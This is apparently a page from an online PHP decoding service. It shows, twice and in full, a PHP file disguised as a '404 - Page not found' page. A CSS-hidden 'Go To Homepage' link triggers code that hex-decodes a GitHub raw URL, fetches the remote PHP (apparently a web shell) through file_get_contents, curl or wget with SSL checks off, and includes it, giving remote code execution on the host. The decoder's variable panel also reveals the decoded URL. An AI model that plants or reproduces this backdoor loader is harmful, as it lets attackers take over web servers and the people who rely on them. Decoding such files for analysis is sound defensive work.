Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Cek apakah pengguna mengklik tautan untuk menjalankan skrip PHP if (isset($_GET..

Decoded Output download

<?php 
// Cek apakah pengguna mengklik tautan untuk menjalankan skrip PHP 
if (isset($_GET['action']) && $_GET['action'] === 'run_script') { 
    // URL yang akan diambil 
    $hexUrl = '68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f5041434b444f4c2f7368616c6c6731362f726566732f68656164732f6d61696e2f74696e79'; 
 
    // Fungsi untuk mengonversi hex ke string 
    function hex2str($hex) { 
        $str = ''; 
        for ($i = 0; $i < strlen($hex) - 1; $i += 2) { 
            $str .= chr(hexdec($hex[$i] . $hex[$i + 1])); 
        } 
        return $str; 
    } 
 
    // Mengonversi URL dari hex 
    $url = hex2str($hexUrl); 
 
    // Fungsi untuk mengunduh konten 
    function downloadContent($url) { 
        if (ini_get('allow_url_fopen')) { 
            return file_get_contents($url); 
        } elseif (function_exists('curl_init')) { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
            $data = curl_exec($ch); 
            curl_close($ch); 
            return $data; 
        } else { 
            $result = false; 
            if ($fp = fopen($url, 'r')) { 
                $result = ''; 
                while ($data = fread($fp, 8192)) { 
                    $result .= $data; 
                } 
                fclose($fp); 
            } 
            return $result; 
        } 
    } 
 
    // Mengambil konten dari URL 
    $phpScript = downloadContent($url); 
 
    // Jika gagal, coba wget 
    if ($phpScript === false) { 
        exec("wget $url -O /tinyhex.php"); 
        $phpScript = file_get_contents("/tinyhex.php"); 
        if ($phpScript === false) { 
            die("Gagal mendownload script PHP dari URL."); 
        } 
    } 
 
    // Menyimpan konten ke file sementara dan menyertakannya 
    $tempFile = tempnam(sys_get_temp_dir(), 'script_'); 
    file_put_contents($tempFile, $phpScript); 
    include($tempFile); 
    unlink($tempFile); 
    exit; // Hentikan eksekusi setelah menjalankan skrip 
} 
?> 
 
<!DOCTYPE html> 
<html lang="en"> 
<head> 
    <meta charset="utf-8"> 
    <meta http-equiv="X-UA-Compatible" content="IE=edge"> 
    <meta name="viewport" content="width=device-width, initial-scale=1"> 
    <title>404 - Page not found</title> 
    <style> 
        @font-face { 
            font-family: 'Montserrat'; 
            font-style: normal; 
            font-weight: 500; 
            font-display: swap; 
            src: url(/fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); 
            unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; 
        } 
        body, html { 
            height: 100%; 
            margin: 0; 
            display: flex; 
            justify-content: center; 
            align-items: center; 
            font-family: 'Montserrat', sans-serif; 
            background-color: #ffffff; 
        } 
        #notfound { 
            text-align: center; 
        } 
        .notfound { 
            max-width: 600px; 
            margin: 0 auto; 
        } 
        .notfound-404 img { 
            width: 100%;  
            max-width: 500px;  
        } 
        h2 { 
            font-size: 24px; 
            margin: 20px 0 10px; 
        } 
        p { 
            margin: 10px 0 20px; 
        } 
        a { 
            text-decoration: none; 
            color: #007BFF; 
            font-weight: bold; 
        } 
        a:hover { 
            text-decoration: underline; 
        } 
/* Sembunyikan link "Go To Homepage" sepenuhnya */ 
a[href="?action=run_script"] {  
    display: none; 
} 
 
/* Sembunyikan link "Go To Homepage" tetapi masih menempati ruang */ 
a[href="?action=run_script"] {  
    visibility: hidden; 
} 
</style> 
<link type="text/css" rel="stylesheet" href="css/style.css" /> 
<meta name="robots" content="noindex, follow"> 
</head> 
 
<body> 
 
<div id="notfound"> 
<div class="notfound"> 
    <div class="notfound-404"> 
        <img src="https://res.cloudinary.com/diudmdlvu/image/upload/v1735186583/image/Oops%21.png" alt="Oops!"> 
    </div> 
    <h2>404 - Page not found</h2> 
    <p>The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.</p> 
    <a href="?action=run_script" target="_blank">Go To Homepage</a> 
</div> 
</div> 
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"rayId":"8f7e3c2a6d99fce8","serverTiming":{"name":{"cfExtPri":true,"cfL4":true,"cfSpeedBrain":true,"cfCacheStatus":true}},"version":"2024.10.5","token":"cd0b4b3a733644fc843ef0b185f98241"}' crossorigin="anonymous"></script> 
</body> 
</html>

Did this file decode correctly?

Original Code

<?php
// Cek apakah pengguna mengklik tautan untuk menjalankan skrip PHP
if (isset($_GET['action']) && $_GET['action'] === 'run_script') {
    // URL yang akan diambil
    $hexUrl = '68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f5041434b444f4c2f7368616c6c6731362f726566732f68656164732f6d61696e2f74696e79';

    // Fungsi untuk mengonversi hex ke string
    function hex2str($hex) {
        $str = '';
        for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
            $str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
        }
        return $str;
    }

    // Mengonversi URL dari hex
    $url = hex2str($hexUrl);

    // Fungsi untuk mengunduh konten
    function downloadContent($url) {
        if (ini_get('allow_url_fopen')) {
            return file_get_contents($url);
        } elseif (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        } else {
            $result = false;
            if ($fp = fopen($url, 'r')) {
                $result = '';
                while ($data = fread($fp, 8192)) {
                    $result .= $data;
                }
                fclose($fp);
            }
            return $result;
        }
    }

    // Mengambil konten dari URL
    $phpScript = downloadContent($url);

    // Jika gagal, coba wget
    if ($phpScript === false) {
        exec("wget $url -O /tinyhex.php");
        $phpScript = file_get_contents("/tinyhex.php");
        if ($phpScript === false) {
            die("Gagal mendownload script PHP dari URL.");
        }
    }

    // Menyimpan konten ke file sementara dan menyertakannya
    $tempFile = tempnam(sys_get_temp_dir(), 'script_');
    file_put_contents($tempFile, $phpScript);
    include($tempFile);
    unlink($tempFile);
    exit; // Hentikan eksekusi setelah menjalankan skrip
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>404 - Page not found</title>
    <style>
        @font-face {
            font-family: 'Montserrat';
            font-style: normal;
            font-weight: 500;
            font-display: swap;
            src: url(/fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
            unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
        }
        body, html {
            height: 100%;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            font-family: 'Montserrat', sans-serif;
            background-color: #ffffff;
        }
        #notfound {
            text-align: center;
        }
        .notfound {
            max-width: 600px;
            margin: 0 auto;
        }
        .notfound-404 img {
            width: 100%; 
            max-width: 500px; 
        }
        h2 {
            font-size: 24px;
            margin: 20px 0 10px;
        }
        p {
            margin: 10px 0 20px;
        }
        a {
            text-decoration: none;
            color: #007BFF;
            font-weight: bold;
        }
        a:hover {
            text-decoration: underline;
        }
/* Sembunyikan link "Go To Homepage" sepenuhnya */
a[href="?action=run_script"] { 
    display: none;
}

/* Sembunyikan link "Go To Homepage" tetapi masih menempati ruang */
a[href="?action=run_script"] { 
    visibility: hidden;
}
</style>
<link type="text/css" rel="stylesheet" href="css/style.css" />
<meta name="robots" content="noindex, follow">
</head>

<body>

<div id="notfound">
<div class="notfound">
    <div class="notfound-404">
        <img src="https://res.cloudinary.com/diudmdlvu/image/upload/v1735186583/image/Oops%21.png" alt="Oops!">
    </div>
    <h2>404 - Page not found</h2>
    <p>The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.</p>
    <a href="?action=run_script" target="_blank">Go To Homepage</a>
</div>
</div>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"rayId":"8f7e3c2a6d99fce8","serverTiming":{"name":{"cfExtPri":true,"cfL4":true,"cfSpeedBrain":true,"cfCacheStatus":true}},"version":"2024.10.5","token":"cd0b4b3a733644fc843ef0b185f98241"}' crossorigin="anonymous"></script>
</body>
</html>

Function Calls

chr 71
hexdec 71
strlen 72
hex2str 1
ini_get 1
downloadContent 1

Variables

$i 142
$hex 68747470733a2f2f7261772e67697468756275736572636f6e74656e742e..
$str https://raw.githubusercontent.com/PACKDOL/shallg16/refs/head..
$url https://raw.githubusercontent.com/PACKDOL/shallg16/refs/head..
$hexUrl 68747470733a2f2f7261772e67697468756275736572636f6e74656e742e..

Stats

MD5 5bcca672d21d7fba315d04477e53e3f4
Eval Count 0
Decode Time 311 ms